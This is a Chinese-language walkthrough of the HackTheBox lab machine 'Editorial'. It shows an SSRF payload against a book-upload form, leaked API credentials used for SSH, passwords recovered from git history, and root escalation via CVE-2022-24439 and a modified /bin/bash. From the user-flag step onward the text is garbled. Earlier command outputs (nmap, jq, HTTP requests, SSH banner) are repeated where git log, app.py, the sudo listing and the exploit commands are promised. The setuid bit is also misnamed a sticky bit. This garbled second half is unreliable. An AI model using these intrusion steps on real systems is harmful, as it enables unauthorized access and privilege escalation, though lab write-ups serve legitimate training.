在這篇文章中,我們將探索一個簡單的 Linux 機器,稱為Editorial。該機器利用了以下漏洞及利用技術:
讓我們先使用 nmap 掃描目標以尋找開放連接埠:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/boardlight] └─# nmap -sS --open -Pn 10.129.115.37 Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-15 15:06 EDT Nmap scan report for 10.129.115.37 (10.129.115.37) Host is up (0.15s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
我們有運行 ssh 的連接埠 22 和運行 http 伺服器的連接埠 80。
透過 IP 存取連接埠 80,我們被重定向到 editorial.htb,讓我們將此主機新增到我們的 /etc/hosts 中。
透過此我們可以存取以下內容:
該網站是一家圖書出版商。在可用選項中,我們找到以下頁面:
在這裡我們可以將書籍寄給出版商。發送可以透過兩種方式完成,本地上傳檔案或透過 url 上傳。
傳送檔案時,我們會被重新導向到與此類似的端點:
分析這兩個選項,我們在提供本地 URL 時發現 SSRF,發送以下 URL 作為負載:http://127.0.0.1:5000
這樣我們就可以下載文件,並且我們有 json 格式的以下內容:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/editorial] └─# jq . requests-result/0483497c-293d-44a4-87af-46a85f20cb60 { "messages": [ { "promotions": { "description": "Retrieve a list of all the promotions in our library.", "endpoint": "/api/latest/metadata/messages/promos", "methods": "GET" } }, { "coupons": { "description": "Retrieve the list of coupons to use in our library.", "endpoint": "/api/latest/metadata/messages/coupons", "methods": "GET" } }, { "new_authors": { "description": "Retrieve the welcome message sended to our new authors.", "endpoint": "/api/latest/metadata/messages/authors", "methods": "GET" } }, { "platform_use": { "description": "Retrieve examples of how to use the platform.", "endpoint": "/api/latest/metadata/messages/how_to_use_platform", "methods": "GET" } } ], "version": [ { "changelog": { "description": "Retrieve a list of all the versions and updates of the api.", "endpoint": "/api/latest/metadata/changelog", "methods": "GET" } }, { "latest": { "description": "Retrieve the last version of api.", "endpoint": "/api/latest/metadata", "methods": "GET" } } ] }
這裡我們有幾個可以探索的端點,為此我們將使用 burp suite(它已經在後台運行)來發出新請求。
首先讓我們專注於端點 /api/latest/metadata/messages/authors,它具有以下功能:檢索發送給我們的新作者的歡迎訊息
POST /upload-cover HTTP/1.1 Host: editorial.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------346249403126403154753644150452 Content-Length: 401 Origin: http://editorial.htb Connection: close Referer: http://editorial.htb/upload -----------------------------346249403126403154753644150452 Content-Disposition: form-data; name="bookurl" http://127.0.0.1:5000/api/latest/metadata/messages/authors -----------------------------346249403126403154753644150452 Content-Disposition: form-data; name="bookfile"; filename="" Content-Type: application/octet-stream -----------------------------346249403126403154753644150452--
這樣我們就有了以下報酬:
HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 22 Jun 2024 11:53:31 GMT Content-Type: text/html; charset=utf-8 Connection: close Content-Length: 51 static/uploads/413c49ad-8adb-4bbb-9579-8a13e870ff5f
現在讓我們對此端點執行 get 請求:
GET /static/uploads/413c49ad-8adb-4bbb-9579-8a13e870ff5f HTTP/1.1 Host: editorial.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: image/avif,image/webp,*/* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: close Referer: http://editorial.htb/upload
因此我們得到以下回報:
HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 22 Jun 2024 11:53:42 GMT Content-Type: application/octet-stream Content-Length: 506 Connection: close Content-Disposition: inline; filename=413c49ad-8adb-4bbb-9579-8a13e870ff5f Last-Modified: Sat, 22 Jun 2024 11:53:31 GMT Cache-Control: no-cache ETag: "1719057211.219647-506-4209449183" {"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}
我們再次得到了 json 格式的回傳。在這裡,我們有一條針對新作者的歡迎訊息以及使用者名稱和密碼:
使用者名稱: dev
密碼: dev080217_devAPI!@
使用此使用者名稱和密碼,我們可以透過 ssh 存取我們的目標:
┌──(root㉿kali)-[/home/kali] └─# ssh dev@editorial.htb The authenticity of host 'editorial.htb (10.129.101.138)' can't be established. ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts. dev@editorial.htb's password: Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Sat Jun 22 11:54:05 AM UTC 2024 System load: 0.0 Usage of /: 60.4% of 6.35GB Memory usage: 12% Swap usage: 0% Processes: 225 Users logged in: 0 IPv4 address for eth0: 10.129.101.138 IPv6 address for eth0: dead:beef::250:56ff:feb0:6c4b Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52 dev@editorial:~$
透過這個用戶,我們獲得了用戶標誌!
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/boardlight] └─# nmap -sS --open -Pn 10.129.115.37 Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-15 15:06 EDT Nmap scan report for 10.129.115.37 (10.129.115.37) Host is up (0.15s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
在使用者的主目錄dev中,我們有一個名為apps的目錄。訪問目錄我們有以下內容:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/editorial] └─# jq . requests-result/0483497c-293d-44a4-87af-46a85f20cb60 { "messages": [ { "promotions": { "description": "Retrieve a list of all the promotions in our library.", "endpoint": "/api/latest/metadata/messages/promos", "methods": "GET" } }, { "coupons": { "description": "Retrieve the list of coupons to use in our library.", "endpoint": "/api/latest/metadata/messages/coupons", "methods": "GET" } }, { "new_authors": { "description": "Retrieve the welcome message sended to our new authors.", "endpoint": "/api/latest/metadata/messages/authors", "methods": "GET" } }, { "platform_use": { "description": "Retrieve examples of how to use the platform.", "endpoint": "/api/latest/metadata/messages/how_to_use_platform", "methods": "GET" } } ], "version": [ { "changelog": { "description": "Retrieve a list of all the versions and updates of the api.", "endpoint": "/api/latest/metadata/changelog", "methods": "GET" } }, { "latest": { "description": "Retrieve the last version of api.", "endpoint": "/api/latest/metadata", "methods": "GET" } } ] }
只有一個名為 .git 的目錄。 .git目錄記錄了一個專案的所有變更,記錄了專案的整個歷史。
這樣我們就可以查看提交歷史記錄:
POST /upload-cover HTTP/1.1 Host: editorial.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------346249403126403154753644150452 Content-Length: 401 Origin: http://editorial.htb Connection: close Referer: http://editorial.htb/upload -----------------------------346249403126403154753644150452 Content-Disposition: form-data; name="bookurl" http://127.0.0.1:5000/api/latest/metadata/messages/authors -----------------------------346249403126403154753644150452 Content-Disposition: form-data; name="bookfile"; filename="" Content-Type: application/octet-stream -----------------------------346249403126403154753644150452--
提交中有以下內容:
HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 22 Jun 2024 11:53:31 GMT Content-Type: text/html; charset=utf-8 Connection: close Content-Length: 51 static/uploads/413c49ad-8adb-4bbb-9579-8a13e870ff5f
從生產到開發的資料已降級,在這裡我們可以找到重要資訊。
要查看此提交的內容,我們將使用命令 git revert,該命令將恢復更改並將項目返回到此提交:
GET /static/uploads/413c49ad-8adb-4bbb-9579-8a13e870ff5f HTTP/1.1 Host: editorial.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: image/avif,image/webp,*/* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: close Referer: http://editorial.htb/upload
我們有一個名為app.py的文件,讓我們來看看它的內容:
HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 22 Jun 2024 11:53:42 GMT Content-Type: application/octet-stream Content-Length: 506 Connection: close Content-Disposition: inline; filename=413c49ad-8adb-4bbb-9579-8a13e870ff5f Last-Modified: Sat, 22 Jun 2024 11:53:31 GMT Cache-Control: no-cache ETag: "1719057211.219647-506-4209449183" {"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}
這裡的端點與我們最初透過 SSRF 發現的端點類似。不同之處在於存取資料屬於另一個使用者:
使用者名稱:產品
密碼: 080217_Producti0n_2023! @
查看目標中擁有活動 shell 的用戶,我們有以下用戶:
┌──(root㉿kali)-[/home/kali] └─# ssh dev@editorial.htb The authenticity of host 'editorial.htb (10.129.101.138)' can't be established. ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts. dev@editorial.htb's password: Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Sat Jun 22 11:54:05 AM UTC 2024 System load: 0.0 Usage of /: 60.4% of 6.35GB Memory usage: 12% Swap usage: 0% Processes: 225 Users logged in: 0 IPv4 address for eth0: 10.129.101.138 IPv6 address for eth0: dead:beef::250:56ff:feb0:6c4b Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52 dev@editorial:~$
有一個名為prod的使用者。我們可以使用這個新密碼來使用這個使用者:
dev@editorial:~$ ls -a . .. apps .bash_history .bash_logout .bashrc .cache .profile user.txt dev@editorial:~$ cat user.txt 389072ccb7be77e63a1590defe01750e
使用新用戶,我們可以看到我們可以使用 sudo 運行 python 腳本,這會授予我們 root 權限:
dev@editorial:~/apps$ ls -alh total 12K drwxrwxr-x 3 dev dev 4.0K Jun 5 14:36 . drwxr-x--- 4 dev dev 4.0K Jun 5 14:36 .. drwxr-xr-x 8 dev dev 4.0K Jun 5 14:36 .git
該指令是執行一個接受任何參數的Python腳本,由於星號*。
我們可以預覽腳本的內容,看看我們能夠執行什麼:
dev@editorial:~/apps$ git log commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master) Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> Date: Sun Apr 30 21:04:21 2023 -0500 fix: bugfix in api port endpoint commit dfef9f20e57d730b7d71967582035925d57ad883 Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> Date: Sun Apr 30 21:01:11 2023 -0500 change: remove debug and update api port commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> Date: Sun Apr 30 20:55:08 2023 -0500 change(api): downgrading prod to dev * To use development environment. commit 1e84a036b2f33c59e2390730699a488c65643d28 Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> Date: Sun Apr 30 20:51:10 2023 -0500 feat: create api to editorial info * It (will) contains internal info about the editorial, this enable faster access to information. commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8 Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> Date: Sun Apr 30 20:48:43 2023 -0500 feat: create editorial app * This contains the base of this project. * Also we add a feature to enable to external authors send us their books and validate a future post in our editorial.
我們沒有編輯該檔案的權限,只能執行。該腳本使用 Python os 和 sys 程式庫,可讓您在 Linux 上執行操作。
此腳本接受一個參數,為此使用 Python lib sys。
使用 python lib os. 中的函數 chdir 對 /opt/internal_apps/clone_changes
現在使用另一個名為 git 的 Python 函式庫,建立了一個 git init,它初始化了一個儲存庫。
腳本接受的參數必須是儲存庫,以便可以使用同一個 git lib 進行 git 複製。
我們可以搜尋這個函式庫中的漏洞,為此我們需要透過pip(這是一個Python套件管理器)來取得版本:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/boardlight] └─# nmap -sS --open -Pn 10.129.115.37 Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-15 15:06 EDT Nmap scan report for 10.129.115.37 (10.129.115.37) Host is up (0.15s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
搜尋我們發現的漏洞CVE-2022-24439,這是由於使用者輸入驗證不充分而導致的遠端程式碼執行。
該漏洞由 Snyk 報告,並提供了 PoC。
我們可以更改 poc 以 root 身分讀取檔案或提升對 root 的存取權。
要讀取文件,我們可以執行以下指令:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/editorial] └─# jq . requests-result/0483497c-293d-44a4-87af-46a85f20cb60 { "messages": [ { "promotions": { "description": "Retrieve a list of all the promotions in our library.", "endpoint": "/api/latest/metadata/messages/promos", "methods": "GET" } }, { "coupons": { "description": "Retrieve the list of coupons to use in our library.", "endpoint": "/api/latest/metadata/messages/coupons", "methods": "GET" } }, { "new_authors": { "description": "Retrieve the welcome message sended to our new authors.", "endpoint": "/api/latest/metadata/messages/authors", "methods": "GET" } }, { "platform_use": { "description": "Retrieve examples of how to use the platform.", "endpoint": "/api/latest/metadata/messages/how_to_use_platform", "methods": "GET" } } ], "version": [ { "changelog": { "description": "Retrieve a list of all the versions and updates of the api.", "endpoint": "/api/latest/metadata/changelog", "methods": "GET" } }, { "latest": { "description": "Retrieve the last version of api.", "endpoint": "/api/latest/metadata", "methods": "GET" } } ] }
這樣我們就可以讀取根標誌了。
我們也可以在/bin/bash檔案中加入黏性位元,這樣我們就可以獲得root權限的shell。黏滯位元允許其他使用者在獲得檔案擁有者(在本例中為 root 使用者)許可的情況下使用該檔案或二進位檔案。加到 /bin/bash 我們得到一個 root 的 shell:
POST /upload-cover HTTP/1.1 Host: editorial.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------346249403126403154753644150452 Content-Length: 401 Origin: http://editorial.htb Connection: close Referer: http://editorial.htb/upload -----------------------------346249403126403154753644150452 Content-Disposition: form-data; name="bookurl" http://127.0.0.1:5000/api/latest/metadata/messages/authors -----------------------------346249403126403154753644150452 Content-Disposition: form-data; name="bookfile"; filename="" Content-Type: application/octet-stream -----------------------------346249403126403154753644150452--
這樣我們就完成編輯機器了!
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